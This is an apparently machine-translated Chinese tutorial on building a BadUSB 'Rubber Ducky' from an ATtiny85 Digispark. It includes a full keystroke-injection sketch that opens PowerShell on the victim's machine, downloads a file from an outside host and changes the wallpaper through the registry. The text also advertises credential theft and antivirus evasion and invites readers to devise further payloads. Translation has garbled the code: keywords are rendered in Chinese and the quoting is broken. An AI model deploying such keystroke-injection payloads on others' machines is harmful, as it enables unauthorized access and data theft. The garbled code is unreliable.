USB Rubber Ducky 或 Bad USB 是一種著名的攻擊工具,它看起來像 USB 筆式驅動器,但在插入任何未鎖定的設備時就像鍵盤一樣。USB Rubber Ducky允許攻擊者對 USB 設備中的微控制器進行編程以執行各種任務。它可以通過編程將擊鍵和二進制文件注入系統,獲取緩存的密碼以破解系統,竊取受害者的基本和憑證數據,并可以將橡皮鴨有效載荷注入受害者的系統。USB Rubber Ducky 最重要的特點是它無法被任何防病毒或系統防火墻檢測到,因為它充當 HID 設備。
USB Rubber Ducky 并非在每個國家都容易買到,而且價格也非常昂貴。所以在這個項目中,我們將使用 ATtiny85 微控制器 IC構建一個Digispark Rubber Ducky 。該項目由兩部分組成,第一部分是在 ATtiny85 IC 上上傳引導加載程序,第二部分是將 USB 型公連接器與 ATtiny85 連接。
構建 USB Rubber Ducky 所需的組件
閣樓85 IC
USB A型插頭公
3 個電阻器(2×47Ω 和 1×1 KΩ)
8 針 IC 底座
性能板
連接電線
USB橡皮鴨電路圖
ATtiny85 Rubber Ducky USB的原理圖如下所示。
R3 是一個上拉電阻,連接在 IC 的 Vcc 和 PB3 引腳之間,同時添加了齊納二極管 (D1-D2) 以提供全面的 USB 接口保護。這些保護二極管不是必需的,因此如果您想構建比這更緊湊的電路,可以將它們移除。
注意:需要在 ATtiny85 上上傳引導加載程序才能使用 USB 對其進行編程。因此,請按照我們之前關于如何通過 USB 對 ATtiny85 IC 進行編程的教程進行操作。
在 perf 板上焊接所有組件后,它將如下所示:
ATtiny85 USB 3D 打印外殼
接下來,使用游標測量設置的尺寸以設計外殼。完成后,我的設計看起來像這樣:
對設計滿意后,我將其導出為 STL 文件,根據打印機設置對其進行切片,最后打印出來。STL 文件也可以從 Thingiverse 下載,您可以使用它打印自己的外殼。
打印完成后,我繼續將項目組裝在一個永久性的外殼中以備將來使用。完成連接后,我將電路組裝到我的外殼中,如下所示,一切都非常合適。
安裝 Digispark 驅動程序
要使用 USB 對 ATtiny85 進行編程,您必須在筆記本電腦上安裝 Digispark 驅動程序。如果您沒有它們,您可以通過單擊鏈接 Digispark Drivers下載它。然后,解壓縮 zip 文件并雙擊“ DPinst64.exe ”應用程序以安裝驅動程序。
成功安裝驅動程序后,將 ATtiny85 板插入筆記本電腦?,F在,轉到設備管理器,您的設備將在“libusb-win32 設備”下列為“Digispark Boot-loader”。如果您在設備管理器中找不到“libusb-win32 設備”,請轉到“查看”并單擊“顯示隱藏的設備”。
設置 Arduino IDE
要使用 Arduino IDE 對 ATtiny85 板進行編程,首先,我們需要將 Digispark 板支持添加到 Arduino IDE。為此,請轉到文件 》 首選項并在 Additional Boards Manager URL 中添加以下鏈接,然后單擊“確定”。
http://digistump.com/package_digistump_index.json
之后,轉到工具 》 板 》 板管理器并搜索“Digistump AVR”并安裝最新版本。
安裝后,您將能夠在 Board 菜單中看到一個名為‘Digispark’的新條目。
為 Rubber Ducky USB 編程 ATtiny85
安裝驅動程序并設置 Arduino IDE 后,現在我們將對 ATtiny85 進行編程以下載圖像并通過 Windows PowerShell 將其設置為墻紙。完整的腳本在文檔末尾給出;在這里,我們將解釋腳本的一些重要命令。
因此,通過包含“?DigiKeyboard.h?”庫來啟動代碼。DigiKeyboard 庫使 ATtiny85 能夠通過其 micro 的本機 USB 端口將擊鍵發送到連接的計算機。
?
#include "DigiKeyboard.h"
?
然后在循環功能中,發送一個按鍵以顯示桌面(Windows+ D),一段時間后,通過發送一個 Windows+ R 按鍵打開運行對話框。
?
DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
?
然后使用DigiKeyboard.print()?函數轉到 Windows Powershell。
?
DigiKeyboard.print("powershell"); DigiKeyboard.sendKeyStroke(KEY_ENTER);
?
現在在 Powershell 中,使用System.Net.WebClient類下載 Internet 數據。
?
DigiKeyboard.print("$client = new-object System.Net.WebClient"); DigiKeyboard.sendKeyStroke(KEY_ENTER);
?
然后在下一個命令中,輸入帶有文件名(hacker.jpg)的圖像地址,以將其保存在您的筆記本電腦上。
?
DigiKeyboard.print("$client.DownloadFile("https://cdn.hipwallpaper.com/i/50/39/7r5nC6.jpg" , "hacker.jpg")"); DigiKeyboard.sendKeyStroke(KEY_ENTER);
?
然后在接下來的幾行中,打開控制面板并將下載的圖像設置為墻紙。
?
DigiKeyboard.print("reg add "HKCU\\Control Panel\\Desktop" /v WallPaper /d "%USERPROFILE%\\hacker.jpg" /f"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True");
?
測試 ATtiny85 Rubber Ducky
完成這些步驟后,創建一個新草圖并在 IDE 中復制和粘貼給定的代碼。然后選擇“ Digispark (Default – 16mhz) ”作為板卡類型并點擊左上角的上傳按鈕。草圖將被編譯,然后 Arduino IDE 將提示您在 60 秒內插入 ATtiny85 USB。
插入 ATtiny85 USB 后,Arduino IDE 會將代碼上傳到微控制器,然后執行微控制器給出的命令來更改筆記本電腦的壁紙。這只是 USB Rubber Ducky 工作原理的一個示例,但可以通過它完成很多事情。我會讓你的想象力解決這個問題!
#include "DigiKeyboard.h"
無效設置(){
//空的
}
無效循環(){
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("$client = new-object System.Net.WebClient");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("$client.DownloadFile("https://images.alphacoders.com/156/156893.jpg" , "hacked3.jpg")");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("reg add "HKCU\\Control Panel\\Desktop" /v WallPaper /d "%USERPROFILE%\\hacked3.jpg" /f");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("退出");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*空*/ }
}
評論
查看更多